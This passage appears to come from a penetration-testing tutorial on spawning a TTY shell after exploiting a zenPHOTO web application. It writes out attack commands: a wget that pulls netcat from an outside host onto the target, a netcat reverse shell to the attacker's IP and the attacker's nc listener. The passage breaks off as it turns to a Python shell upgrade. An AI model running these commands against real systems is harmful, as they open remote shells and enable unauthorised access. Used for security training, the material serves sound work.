Spawning a TTY Shell

We have covered different types of privilege escalation. Now let's look at some examples on how to get a TTY shell on this system. A TTY showcases a simple text output environment, that allows us to type commands and get the output.

How to do it...

1. Let's look at the following example, where we have a web application running zenPHOTO:

2. The zenPHOTO already has a public exploit running, which we get access to via a limited shell:

3. Since this is a limited shell, we try to escape it and get a reverse connection by first uploading netcat on the system and then using netcat to gain a backconnect:

      wget x.x.x.x/netcat –o /tmp/netcat

4. Now we can backconnect using the following command:

      netcat <our IP > -e /bin/bash <port number>

5. Looking at our Terminal window, where we had our listener setup, we will see a successful connection:

      nc –lnvp <port number>

Let's get a more stable TTY shell; assuming it's a Linux system, we already have Python installed on it...